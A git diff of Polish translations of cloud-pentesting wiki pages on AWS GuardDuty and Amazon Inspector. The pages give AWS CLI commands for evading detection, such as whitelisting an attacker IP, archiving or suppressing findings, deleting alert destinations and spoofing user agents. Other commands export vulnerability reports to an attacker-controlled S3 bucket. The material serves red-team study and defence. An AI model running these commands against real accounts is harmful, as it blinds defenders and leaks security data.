-Zgodnie z [**dokumentacją**](https://aws.amazon.com/guardduty/features/): GuardDuty łączy **uczenie maszynowe, wykrywanie anomalii, monitorowanie sieci i odkrywanie złośliwych plików**, korzystając zarówno z AWS, jak i wiodących źródeł zewnętrznych, aby pomóc w ochronie obciążeń i danych w AWS. GuardDuty jest w stanie analizować dziesiątki miliardów zdarzeń z różnych źródeł danych AWS, takich jak dzienniki zdarzeń AWS CloudTrail, dzienniki przepływu Amazon Virtual Private Cloud (VPC), dzienniki audytów i systemowe Amazon Elastic Kubernetes Service (EKS) oraz dzienniki zapytań DNS.
+Zgodnie z [**dokumentacją**](https://aws.amazon.com/guardduty/features/): GuardDuty łączy **uczenie maszynowe, wykrywanie anomalii, monitorowanie sieci i odkrywanie złośliwych plików**, korzystając zarówno z AWS, jak i wiodących źródeł zewnętrznych, aby pomóc w ochronie obciążeń i danych na AWS. GuardDuty jest w stanie analizować dziesiątki miliardów zdarzeń z wielu źródeł danych AWS, takich jak dzienniki zdarzeń AWS CloudTrail, dzienniki przepływu Amazon Virtual Private Cloud (VPC), dzienniki audytów i systemowe Amazon Elastic Kubernetes Service (EKS) oraz dzienniki zapytań DNS.
 
 Amazon GuardDuty **identyfikuje nietypową aktywność w Twoich kontach**, analizuje **znaczenie bezpieczeństwa** tej aktywności i podaje **kontekst**, w jakim została wywołana. Umożliwia to osobie reagującej określenie, czy powinna poświęcić czas na dalsze dochodzenie.
 
@@ -16,10 +16,10 @@ Alerty **pojawiają się w konsoli GuardDuty (90 dni)** oraz w CloudWatch Events
 
 ### Przykład Ustaleń
 
-- **Rozpoznanie**: Aktywność sugerująca rozpoznanie przez atakującego, takie jak **nietypowa aktywność API**, podejrzane próby **logowania** do bazy danych, skanowanie **portów** wewnątrz VPC, nietypowe wzorce nieudanych prób logowania lub skanowanie portów z znanego złego adresu IP.
-- **Kompromitacja instancji**: Aktywność wskazująca na kompromitację instancji, taka jak **kopanie kryptowalut, złośliwe polecenia i kontrola (C\&C)**, złośliwe oprogramowanie wykorzystujące algorytmy generowania domen (DGA), aktywność odmowy usługi wychodzącej, nietypowo **wysoki** wolumen ruchu sieciowego, nietypowe protokoły sieciowe, komunikacja instancji wychodzącej z znanym złośliwym adresem IP, tymczasowe poświadczenia Amazon EC2 używane przez zewnętrzny adres IP oraz eksfiltracja danych za pomocą DNS.
-- **Kompromitacja konta**: Typowe wzorce wskazujące na kompromitację konta obejmują wywołania API z nietypowej geolokalizacji lub anonimowego proxy, próby wyłączenia logowania AWS CloudTrail, zmiany osłabiające politykę haseł konta, nietypowe uruchomienia instancji lub infrastruktury, wdrożenia infrastruktury w nietypowym regionie, kradzież poświadczeń, podejrzana aktywność logowania do bazy danych oraz wywołania API z znanych złośliwych adresów IP.
-- **Kompromitacja koszyka**: Aktywność wskazująca na kompromitację koszyka, taka jak podejrzane wzorce dostępu do danych wskazujące na nadużycie poświadczeń, nietypowa aktywność API Amazon S3 z zdalnego hosta, nieautoryzowany dostęp S3 z znanych złośliwych adresów IP oraz wywołania API w celu pobrania danych z koszyków S3 od użytkownika bez wcześniejszej historii dostępu do koszyka lub wywołane z nietypowej lokalizacji. Amazon GuardDuty nieprzerwanie monitoruje i analizuje zdarzenia danych S3 AWS CloudTrail (np. GetObject, ListObjects, DeleteObject), aby wykrywać podejrzaną aktywność we wszystkich Twoich koszykach Amazon S3.
+- **Reconnaissance**: Aktywność sugerująca rozpoznanie przez atakującego, takie jak **nietypowa aktywność API**, podejrzane próby **logowania** do bazy danych, skanowanie **portów** wewnątrz VPC, nietypowe wzorce nieudanych próśb o logowanie lub skanowanie portów z znanego złego adresu IP.
+- **Instance compromise**: Aktywność wskazująca na kompromitację instancji, taka jak **kopanie kryptowalut, złośliwe polecenia i kontrola (C\&C)**, złośliwe oprogramowanie wykorzystujące algorytmy generowania domen (DGA), aktywność odmowy usługi wychodzącej, nietypowo **wysoki wolumen** ruchu sieciowego, nietypowe protokoły sieciowe, komunikacja instancji wychodzącej z znanym złośliwym adresem IP, tymczasowe poświadczenia Amazon EC2 używane przez zewnętrzny adres IP oraz eksfiltracja danych przy użyciu DNS.
+- **Account compromise**: Typowe wzorce wskazujące na kompromitację konta obejmują wywołania API z nietypowej geolokalizacji lub anonimowego proxy, próby wyłączenia logowania AWS CloudTrail, zmiany osłabiające politykę haseł konta, nietypowe uruchomienia instancji lub infrastruktury, wdrożenia infrastruktury w nietypowym regionie, kradzież poświadczeń, podejrzana aktywność logowania do bazy danych oraz wywołania API z znanych złośliwych adresów IP.
+- **Bucket compromise**: Aktywność wskazująca na kompromitację koszyka, taka jak podejrzane wzorce dostępu do danych wskazujące na nadużycie poświadczeń, nietypowa aktywność API Amazon S3 z zdalnego hosta, nieautoryzowany dostęp S3 z znanych złośliwych adresów IP oraz wywołania API w celu pobrania danych z koszyków S3 od użytkownika bez wcześniejszej historii dostępu do koszyka lub wywołane z nietypowej lokalizacji. Amazon GuardDuty nieprzerwanie monitoruje i analizuje zdarzenia danych S3 AWS CloudTrail (np. GetObject, ListObjects, DeleteObject), aby wykrywać podejrzaną aktywność we wszystkich Twoich koszykach Amazon S3.
 
 <details>
 
@@ -104,7 +104,7 @@ aws guardduty get-threat-intel-set --detector-id <id> --threat-intel-set-id <id>
 
 ### General Guidance
 
-Spróbuj dowiedzieć się jak najwięcej o zachowaniu poświadczeń, których zamierzasz użyć:
+Spróbuj dowiedzieć się jak najwięcej o zachowaniu poświadczeń, które zamierzasz użyć:
 
 - Czas, w którym są używane
 - Lokalizacje
@@ -113,8 +113,8 @@ Spróbuj dowiedzieć się jak najwięcej o zachowaniu poświadczeń, których za
 
 Z tą informacją, odtwórz jak najwięcej tego samego scenariusza, aby użyć dostępu:
 
-- Jeśli to jest **użytkownik lub rola dostępna przez użytkownika**, spróbuj użyć jej w tych samych godzinach, z tej samej geolokalizacji (nawet tego samego ISP i IP, jeśli to możliwe)
-- Jeśli to jest **rola używana przez usługę**, stwórz tę samą usługę w tym samym regionie i użyj jej stamtąd w tych samych przedziałach czasowych
+- Jeśli to jest **użytkownik lub rola dostępna przez użytkownika**, spróbuj używać jej w tych samych godzinach, z tej samej geolokalizacji (nawet tego samego ISP i IP, jeśli to możliwe)
+- Jeśli to jest **rola używana przez usługę**, stwórz tę samą usługę w tym samym regionie i używaj jej stamtąd w tych samych przedziałach czasowych
 - Zawsze staraj się używać **tych samych uprawnień**, które ten podmiot używał
 - Jeśli musisz **użyć innych uprawnień lub nadużyć uprawnienia** (na przykład, pobrać 1.000.000 plików dziennika cloudtrail), rób to **powoli** i z **minimalną ilością interakcji** z AWS (awscli czasami wywołuje kilka API do odczytu przed zapisem)
 
@@ -129,13 +129,13 @@ aws guardduty update-detector --detector-id <detector-id> --data-sources S3Logs=
 ```
 #### `guardduty:CreateFilter`
 
-Atakujący z tym uprawnieniem mają możliwość **stosowania filtrów do automatycznego** archiwizowania wyników:
+Atakujący z tym uprawnieniem mają możliwość **stosowania filtrów do automatycznego** archiwizowania ustaleń:
 ```bash
 aws guardduty create-filter  --detector-id <detector-id> --name <filter-name> --finding-criteria file:///tmp/criteria.json --action ARCHIVE
 ```
 #### `iam:PutRolePolicy`, (`guardduty:CreateIPSet`|`guardduty:UpdateIPSet`)
 
-Napastnicy z wcześniejszymi uprawnieniami mogli modyfikować [**Zaufaną listę IP**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) GuardDuty, dodając do niej swój adres IP i unikać generowania alertów.
+Atakujący z wcześniejszymi uprawnieniami mogli modyfikować [**Zaufaną listę IP**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) GuardDuty, dodając do niej swój adres IP i unikać generowania alertów.
 ```bash
 aws guardduty update-ip-set --detector-id <detector-id> --activate --ip-set-id <ip-set-id> --location https://some-bucket.s3-eu-west-1.amazonaws.com/attacker.csv
 ```
@@ -146,17 +146,17 @@ Napastnicy mogą usunąć miejsce docelowe, aby zapobiec powiadomieniom:
 aws guardduty delete-publishing-destination --detector-id <detector-id> --destination-id <dest-id>
 ```
 > [!CAUTION]
-> Usunięcie tego miejsca publikacji **nie wpłynie na generowanie ani widoczność ustaleń w konsoli GuardDuty**. GuardDuty będzie nadal analizować zdarzenia w Twoim środowisku AWS, identyfikować podejrzane lub nieoczekiwane zachowania i generować ustalenia.
+> Usunięcie tego miejsca publikacji **nie wpłynie na generowanie ani widoczność wyników w konsoli GuardDuty**. GuardDuty będzie nadal analizować zdarzenia w Twoim środowisku AWS, identyfikować podejrzane lub nieoczekiwane zachowanie i generować wyniki.
 
-### Przykłady obejścia konkretnych ustaleń
+### Przykłady obejścia konkretnych wyników
 
-Zauważ, że istnieje dziesiątki ustaleń GuardDuty, jednak **jako Red Teamer nie wszystkie z nich będą miały na Ciebie wpływ**, a co lepsze, masz pełną dokumentację każdego z nich w [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html), więc zapoznaj się z nią przed podjęciem jakichkolwiek działań, aby nie zostać złapanym.
+Zauważ, że istnieje dziesiątki wyników GuardDuty, jednak **jako Red Teamer nie wszystkie z nich będą miały na Ciebie wpływ**, a co lepsze, masz **pełną dokumentację każdego z nich** w [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html), więc zapoznaj się z nią przed podjęciem jakichkolwiek działań, aby nie zostać złapanym.
 
-Oto kilka przykładów obejść konkretnych ustaleń GuardDuty:
+Oto kilka przykładów obejść konkretnych wyników GuardDuty:
 
 #### [PenTest:IAMUser/KaliLinux](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux) <a href="#pentest-iam-kalilinux" id="pentest-iam-kalilinux"></a>
 
-GuardDuty wykrywa żądania API AWS z popularnych narzędzi do testów penetracyjnych i uruchamia [Ustalenie PenTest](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux).\
+GuardDuty wykrywa żądania API AWS z popularnych narzędzi do testowania penetracyjnego i uruchamia [Wynik PenTest](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux).\
 Wykrywa to na podstawie **nazwa agenta użytkownika**, która jest przekazywana w żądaniu API.\
 Dlatego **modyfikując agenta użytkownika**, można zapobiec wykryciu ataku przez GuardDuty.
 
@@ -164,7 +164,7 @@ Aby temu zapobiec, możesz poszukać w skrypcie `session.py` w pakiecie `botocor
 
 #### UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration
 
-Ekstrakcja poświadczeń EC2 z usługi metadanych i **wykorzystywanie ich poza** środowiskiem AWS aktywuje alert [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws). Z kolei wykorzystanie tych poświadczeń z instancji EC2 uruchamia alert [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws). Jednak **użycie poświadczeń na innej skompromitowanej instancji EC2 w tym samym koncie pozostaje niewykryte**, nie generując alertu.
+Ekstrakcja poświadczeń EC2 z usługi metadanych i **wykorzystywanie ich poza** środowiskiem AWS aktywuje alert [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws). Z kolei wykorzystanie tych poświadczeń z instancji EC2 uruchamia alert [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws). Jednak **użycie poświadczeń na innej skompromitowanej instancji EC2 w tym samym koncie pozostaje niewykryte**, nie generując żadnego alertu.
 
 > [!TIP]
 > Dlatego **użyj wyekstrahowanych poświadczeń z wnętrza maszyny**, w której je znalazłeś, aby nie uruchomić tego alertu.
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md
index 627eccb10..4dbbb1dd8 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md
@@ -6,13 +6,13 @@
 
 ### Inspector
 
-Amazon Inspector to zaawansowana, zautomatyzowana usługa zarządzania podatnościami, zaprojektowana w celu zwiększenia bezpieczeństwa Twojego środowiska AWS. Usługa ta nieustannie skanuje instancje Amazon EC2, obrazy kontenerów w Amazon ECR, Amazon ECS oraz funkcje AWS Lambda w poszukiwaniu podatności i niezamierzonej ekspozycji sieciowej. Wykorzystując solidną bazę danych inteligencji o podatnościach, Amazon Inspector dostarcza szczegółowe wyniki, w tym poziomy ciężkości i zalecenia dotyczące usunięcia, pomagając organizacjom proaktywnie identyfikować i rozwiązywać ryzyka bezpieczeństwa. To kompleksowe podejście zapewnia wzmocnioną postawę bezpieczeństwa w różnych usługach AWS, wspierając zgodność i zarządzanie ryzykiem.
+Amazon Inspector to zaawansowana, zautomatyzowana usługa zarządzania podatnościami, zaprojektowana w celu zwiększenia bezpieczeństwa Twojego środowiska AWS. Usługa ta nieustannie skanuje instancje Amazon EC2, obrazy kontenerów w Amazon ECR, Amazon ECS oraz funkcje AWS Lambda w poszukiwaniu podatności i niezamierzonego narażenia na sieć. Wykorzystując solidną bazę danych inteligencji dotyczącej podatności, Amazon Inspector dostarcza szczegółowe wyniki, w tym poziomy ciężkości i zalecenia dotyczące usunięcia, pomagając organizacjom proaktywnie identyfikować i adresować ryzyka bezpieczeństwa. To kompleksowe podejście zapewnia wzmocnioną postawę bezpieczeństwa w różnych usługach AWS, wspierając zgodność i zarządzanie ryzykiem.
 
 ### Kluczowe elementy
 
 #### Wyniki
 
-Wyniki w Amazon Inspector to szczegółowe raporty dotyczące podatności i ekspozycji odkrytych podczas skanowania instancji EC2, repozytoriów ECR lub funkcji Lambda. W zależności od stanu, wyniki są klasyfikowane jako:
+Wyniki w Amazon Inspector to szczegółowe raporty dotyczące podatności i narażeń odkrytych podczas skanowania instancji EC2, repozytoriów ECR lub funkcji Lambda. W zależności od stanu, wyniki są klasyfikowane jako:
 
 - **Aktywne**: Wynik nie został usunięty.
 - **Zamknięte**: Wynik został usunięty.
@@ -22,23 +22,23 @@ Wyniki są również klasyfikowane w trzy następujące typy:
 
 - **Pakiet**: Te wyniki dotyczą podatności w pakietach oprogramowania zainstalowanych na Twoich zasobach. Przykłady obejmują przestarzałe biblioteki lub zależności z znanymi problemami bezpieczeństwa.
 - **Kod**: Ta kategoria obejmuje podatności znalezione w kodzie aplikacji działających na Twoich zasobach AWS. Typowe problemy to błędy w kodzie lub niebezpieczne praktyki, które mogą prowadzić do naruszeń bezpieczeństwa.
-- **Sieć**: Wyniki sieciowe identyfikują potencjalne ekspozycje w konfiguracjach sieci, które mogą być wykorzystywane przez atakujących. Obejmują one otwarte porty, niebezpieczne protokoły sieciowe i źle skonfigurowane grupy zabezpieczeń.
+- **Sieć**: Wyniki sieciowe identyfikują potencjalne narażenia w konfiguracjach sieci, które mogą być wykorzystywane przez atakujących. Obejmują one otwarte porty, niebezpieczne protokoły sieciowe i źle skonfigurowane grupy zabezpieczeń.
 
 #### Filtry i reguły tłumienia
 
 Filtry i reguły tłumienia w Amazon Inspector pomagają zarządzać i priorytetyzować wyniki. Filtry pozwalają na zawężenie wyników na podstawie określonych kryteriów, takich jak ciężkość lub typ zasobu. Reguły tłumienia pozwalają na tłumienie niektórych wyników, które są uważane za niskie ryzyko, zostały już złagodzone lub z jakiegokolwiek innego ważnego powodu, zapobiegając ich przeciążeniu w raportach bezpieczeństwa i pozwalając skupić się na bardziej krytycznych problemach.
 
-#### Lista materiałów oprogramowania (SBOM)
+#### Oprogramowanie Bill of Materials (SBOM)
 
-Lista materiałów oprogramowania (SBOM) w Amazon Inspector to eksportowalna zagnieżdżona lista inwentarzowa szczegółowo opisująca wszystkie komponenty w pakiecie oprogramowania, w tym biblioteki i zależności. SBOM-y pomagają zapewnić przejrzystość w łańcuchu dostaw oprogramowania, umożliwiając lepsze zarządzanie podatnościami i zgodnością. Są kluczowe dla identyfikacji i łagodzenia ryzyk związanych z komponentami oprogramowania open source i stron trzecich.
+Oprogramowanie Bill of Materials (SBOM) w Amazon Inspector to eksportowalna zagnieżdżona lista inwentarzowa szczegółowo opisująca wszystkie komponenty w pakiecie oprogramowania, w tym biblioteki i zależności. SBOM-y pomagają zapewnić przejrzystość w łańcuchu dostaw oprogramowania, umożliwiając lepsze zarządzanie podatnościami i zgodnością. Są kluczowe dla identyfikacji i łagodzenia ryzyk związanych z komponentami oprogramowania open source i stron trzecich.
 
 ### Kluczowe funkcje
 
 #### Eksport wyników
 
-Amazon Inspector oferuje możliwość eksportu wyników do Amazon S3 Buckets, Amazon EventBridge i AWS Security Hub, co umożliwia generowanie szczegółowych raportów zidentyfikowanych podatności i ekspozycji do dalszej analizy lub udostępnienia w określonym terminie. Ta funkcja obsługuje różne formaty wyjściowe, takie jak CSV i JSON, co ułatwia integrację z innymi narzędziami i systemami. Funkcjonalność eksportu pozwala na dostosowanie danych zawartych w raportach, umożliwiając filtrowanie wyników na podstawie określonych kryteriów, takich jak ciężkość, typ zasobu lub zakres dat, a domyślnie obejmuje wszystkie Twoje wyniki w bieżącym regionie AWS z aktywnym statusem.
+Amazon Inspector oferuje możliwość eksportu wyników do Amazon S3 Buckets, Amazon EventBridge i AWS Security Hub, co umożliwia generowanie szczegółowych raportów zidentyfikowanych podatności i narażeń do dalszej analizy lub udostępnienia w określonym terminie. Ta funkcja obsługuje różne formaty wyjściowe, takie jak CSV i JSON, co ułatwia integrację z innymi narzędziami i systemami. Funkcjonalność eksportu pozwala na dostosowanie danych zawartych w raportach, umożliwiając filtrowanie wyników na podstawie określonych kryteriów, takich jak ciężkość, typ zasobu lub zakres dat, a domyślnie obejmuje wszystkie Twoje wyniki w bieżącym regionie AWS z aktywnym statusem.
 
-Podczas eksportu wyników niezbędny jest klucz usługi zarządzania kluczami (KMS) do szyfrowania danych podczas eksportu. Klucze KMS zapewniają, że eksportowane wyniki są chronione przed nieautoryzowanym dostępem, zapewniając dodatkową warstwę bezpieczeństwa dla wrażliwych informacji o podatnościach.
+Podczas eksportu wyników niezbędny jest klucz KMS (Key Management Service) do szyfrowania danych podczas eksportu. Klucze KMS zapewniają, że eksportowane wyniki są chronione przed nieautoryzowanym dostępem, zapewniając dodatkową warstwę bezpieczeństwa dla wrażliwych informacji o podatnościach.
 
 #### Skanowanie instancji Amazon EC2
 
@@ -52,7 +52,7 @@ Tryb skanowania określa, która metoda będzie używana do przeprowadzania skan
 - **Oparte na agencie**: Wymaga zainstalowania agenta SSM na instancjach EC2 do głębokiej inspekcji.
 - **Skanowanie hybrydowe**: Łączy metody oparte na agencie i bez agenta, aby maksymalizować zasięg i minimalizować wpływ na wydajność. W tych instancjach EC2, gdzie zainstalowany jest agent SSM, Inspector przeprowadzi skanowanie oparte na agencie, a dla tych, gdzie nie ma agenta SSM, skanowanie będzie przeprowadzane bez agenta.
 
-Inną ważną funkcją jest **głęboka inspekcja** dla instancji EC2 Linux. Ta funkcja oferuje dokładną analizę oprogramowania i konfiguracji instancji EC2 Linux, dostarczając szczegółowe oceny podatności, w tym podatności systemu operacyjnego, podatności aplikacji i błędów konfiguracyjnych, zapewniając kompleksową ocenę bezpieczeństwa. Osiąga się to poprzez inspekcję **niestandardowych ścieżek** i wszystkich ich podkatalogów. Domyślnie Amazon Inspector skanuje następujące, ale każde konto członkowskie może zdefiniować do 5 dodatkowych niestandardowych ścieżek, a każdy delegowany administrator do 10:
+Inną ważną funkcją jest **głęboka inspekcja** dla instancji Linux EC2. Ta funkcja oferuje dokładną analizę oprogramowania i konfiguracji instancji Linux EC2, dostarczając szczegółowe oceny podatności, w tym podatności systemu operacyjnego, podatności aplikacji i błędów konfiguracyjnych, zapewniając kompleksową ocenę bezpieczeństwa. Osiąga się to poprzez inspekcję **niestandardowych ścieżek** i wszystkich ich podkatalogów. Domyślnie Amazon Inspector skanuje następujące, ale każde konto członkowskie może zdefiniować do 5 dodatkowych niestandardowych ścieżek, a każdy delegowany administrator do 10:
 
 - `/usr/lib`
 - `/usr/lib64`
@@ -68,18 +68,18 @@ Amazon Inspector zapewnia solidne możliwości skanowania obrazów kontenerów A
 
 #### Skanowanie funkcji Amazon Lambda
 
-Amazon Inspector obejmuje kompleksowe możliwości skanowania funkcji AWS Lambda i jej warstw, zapewniając bezpieczeństwo i integralność aplikacji bezserwerowych. Inspector oferuje dwa rodzaje skanowania dla funkcji Lambda:
+Amazon Inspector zawiera kompleksowe możliwości skanowania funkcji AWS Lambda i jej warstw, zapewniając bezpieczeństwo i integralność aplikacji bezserwerowych. Inspector oferuje dwa typy skanowania dla funkcji Lambda:
 
 - **Standardowe skanowanie Lambda**: Ta domyślna funkcja identyfikuje podatności oprogramowania w zależnościach pakietu aplikacji dodanych do Twojej funkcji Lambda i warstw. Na przykład, jeśli Twoja funkcja używa wersji biblioteki takiej jak python-jwt z znaną podatnością, generuje wynik.
-- **Skanowanie kodu Lambda**: Analizuje niestandardowy kod aplikacji w poszukiwaniu problemów z bezpieczeństwem, wykrywając podatności takie jak błędy wstrzykiwania, wycieki danych, słaba kryptografia i brak szyfrowania. Zawiera fragmenty kodu podkreślające wykryte podatności, takie jak zakodowane na stałe dane uwierzytelniające. Wyniki zawierają szczegółowe sugestie dotyczące usunięcia i fragmenty kodu do naprawy problemów.
+- **Skanowanie kodu Lambda**: Analizuje niestandardowy kod aplikacji w poszukiwaniu problemów z bezpieczeństwem, wykrywając podatności takie jak błędy wstrzykiwania, wycieki danych, słaba kryptografia i brak szyfrowania. Zawiera fragmenty kodu podkreślające wykryte podatności, takie jak zakodowane na sztywno dane uwierzytelniające. Wyniki zawierają szczegółowe sugestie dotyczące usunięcia i fragmenty kodu do naprawy problemów.
 
-#### **Skanowania Centrum Bezpieczeństwa Internetu (CIS)**
+#### **Skanowania Center for Internet Security (CIS)**
 
-Amazon Inspector obejmuje skanowania CIS, aby porównać systemy operacyjne instancji Amazon EC2 z najlepszymi praktykami zalecanymi przez Centrum Bezpieczeństwa Internetu (CIS). Te skanowania zapewniają, że konfiguracje są zgodne z branżowymi standardami bezpieczeństwa.
+Amazon Inspector zawiera skanowania CIS, aby porównać systemy operacyjne instancji Amazon EC2 z najlepszymi praktykami zalecanymi przez Center for Internet Security (CIS). Te skanowania zapewniają, że konfiguracje są zgodne z branżowymi standardami bezpieczeństwa.
 
-- **Konfiguracja**: Skanowania CIS oceniają, czy konfiguracje systemu spełniają określone zalecenia CIS Benchmark, z każdym sprawdzeniem powiązanym z identyfikatorem sprawdzenia CIS i tytułem.
+- **Konfiguracja**: Skanowania CIS oceniają, czy konfiguracje systemu spełniają określone zalecenia CIS Benchmark, z każdym sprawdzeniem powiązanym z identyfikatorem i tytułem sprawdzenia CIS.
 - **Wykonanie**: Skanowania są przeprowadzane lub planowane na podstawie tagów instancji i zdefiniowanych harmonogramów.
-- **Wyniki**: Wyniki po skanowaniu wskazują, które sprawdzenia przeszły, zostały pominięte lub nie powiodły się, dostarczając informacji o postawie bezpieczeństwa każdej instancji.
+- **Wyniki**: Wyniki po skanowaniu wskazują, które kontrole przeszły, zostały pominięte lub nie powiodły się, dostarczając informacji o stanie bezpieczeństwa każdej instancji.
 
 ### Enumeracja
 ```bash
@@ -191,16 +191,16 @@ aws inspector list-rules-packages
 
 #### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport`
 
-Atakujący mógłby wygenerować szczegółowe raporty dotyczące luk lub list materiałów oprogramowania (SBOM) i wyeksportować je z twojego środowiska AWS. Informacje te mogą być wykorzystane do zidentyfikowania konkretnych słabości, przestarzałego oprogramowania lub niebezpiecznych zależności, co umożliwia ukierunkowane ataki.
+Atakujący mógłby generować szczegółowe raporty dotyczące luk lub list materiałów oprogramowania (SBOM) i exfiltrując je z twojego środowiska AWS. Informacje te mogą być wykorzystane do identyfikacji konkretnych słabości, przestarzałego oprogramowania lub niebezpiecznych zależności, umożliwiając ukierunkowane ataki.
 ```bash
 # Findings report
 aws inspector2 create-findings-report --report-format <CSV | JSON> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--filter-criteria <value>]
 # SBOM report
 aws inspector2 create-sbom-report --report-format <CYCLONEDX_1_4 | SPDX_2_3> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--resource-filter-criteria <value>]
 ```
-Przykład poniżej pokazuje, jak wyeksportować wszystkie aktywne ustalenia z Amazon Inspector do kontrolowanego przez atakującego Amazon S3 Bucket z kontrolowanym przez atakującego kluczem Amazon KMS:
+Przykład poniżej pokazuje, jak wyeksportować wszystkie aktywne wyniki z Amazon Inspector do kontrolowanego przez atakującego koszyka Amazon S3 z kontrolowanym przez atakującego kluczem Amazon KMS:
 
-1. **Utwórz Amazon S3 Bucket** i dołącz do niego politykę, aby był dostępny z ofiary Amazon Inspector:
+1. **Utwórz koszyk Amazon S3** i dołącz do niego politykę, aby był dostępny z ofiary Amazon Inspector:
 ```json
 {
 "Version": "2012-10-17",
@@ -265,18 +265,18 @@ aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s
 
 #### `inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport`
 
-Napastnik mógłby anulować generowanie określonego raportu o podatnościach lub raportu SBOM, uniemożliwiając zespołom bezpieczeństwa otrzymywanie na czas informacji o podatnościach i oprogramowaniu (SBOM), opóźniając wykrywanie i usuwanie problemów z zabezpieczeniami.
+Napastnik mógłby anulować generowanie określonego raportu o podatnościach lub raportu SBOM, uniemożliwiając zespołom bezpieczeństwa otrzymywanie na czas informacji o podatnościach i materiałach oprogramowania (SBOM), opóźniając wykrywanie i usuwanie problemów z bezpieczeństwem.
 ```bash
 # Cancel findings report generation
 aws inspector2 cancel-findings-report --report-id <value>
 # Cancel SBOM report generatiom
 aws inspector2 cancel-sbom-export --report-id <value>
 ```
-- **Potencjalny wpływ**: Zakłócenie monitorowania bezpieczeństwa i zapobieganie terminowemu wykrywaniu oraz usuwaniu problemów z bezpieczeństwem.
+- **Potencjalny wpływ**: Zakłócenie monitorowania bezpieczeństwa i uniemożliwienie terminowego wykrywania oraz usuwania problemów z bezpieczeństwem.
 
 #### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter`
 
-Napastnik z tymi uprawnieniami mógłby manipulować regułami filtrowania, które określają, które podatności i problemy z bezpieczeństwem są zgłaszane lub tłumione (jeśli **akcja** jest ustawiona na SUPPRESS, zostanie utworzona reguła tłumienia). Może to ukryć krytyczne podatności przed administratorami bezpieczeństwa, ułatwiając wykorzystanie tych słabości bez wykrycia. Poprzez modyfikację lub usunięcie ważnych filtrów, napastnik mógłby również generować szum, zalewając system nieistotnymi wynikami, co utrudnia skuteczne monitorowanie i reakcję na bezpieczeństwo.
+Napastnik z tymi uprawnieniami mógłby manipulować regułami filtrowania, które określają, które luki i problemy z bezpieczeństwem są zgłaszane lub tłumione (jeśli **akcja** jest ustawiona na SUPPRESS, zostanie utworzona reguła tłumienia). Może to ukryć krytyczne luki przed administratorami bezpieczeństwa, ułatwiając wykorzystanie tych słabości bez wykrycia. Poprzez modyfikację lub usunięcie ważnych filtrów, napastnik mógłby również generować szum, zalewając system nieistotnymi wynikami, co utrudniałoby skuteczne monitorowanie i reakcję na zagrożenia.
 ```bash
 # Create
 aws inspector2 create-filter --action <NONE | SUPPRESS> --filter-criteria <value> --name <value> [--reason <value>]
@@ -295,7 +295,7 @@ Atakujący mógłby znacząco zakłócić strukturę zarządzania bezpieczeństw
 - Włączenie nieautoryzowanego konta administratora pozwoliłoby atakującemu kontrolować konfiguracje bezpieczeństwa, potencjalnie dezaktywując skany lub modyfikując ustawienia, aby ukryć złośliwe działania.
 
 > [!WARNING]
-> Wymagane jest, aby nieautoryzowane konto znajdowało się w tej samej Organizacji co ofiara, aby mogło stać się delegowanym administratorem.
+> Wymagane jest, aby nieautoryzowane konto znajdowało się w tej samej Organizacji co ofiara, aby stać się delegowanym administratorem.
 >
 > Aby nieautoryzowane konto mogło stać się delegowanym administratorem, wymagane jest również, aby po dezaktywowaniu legitymnego delegowanego administratora, a przed włączeniem nieautoryzowanego konta jako delegowanego administratora, legitymny administrator musiał zostać wyrejestrowany jako delegowany administrator z organizacji. Można to zrobić za pomocą następującego polecenia (**`organizations:DeregisterDelegatedAdministrator`** wymagana zgoda): **`aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`**
 ```bash
@@ -311,7 +311,7 @@ aws inspector2 enable-delegated-admin-account --delegated-admin-account-id <valu
 Napastnik mógłby manipulować stowarzyszeniem kont członkowskich w organizacji Amazon Inspector. Poprzez stowarzyszenie nieautoryzowanych kont lub rozłączenie legalnych, napastnik mógłby kontrolować, które konta są uwzględniane w skanowaniu bezpieczeństwa i raportowaniu. Może to prowadzić do wykluczenia krytycznych kont z monitorowania bezpieczeństwa, umożliwiając napastnikowi wykorzystanie luk w tych kontach bez wykrycia.
 
 > [!WARNING]
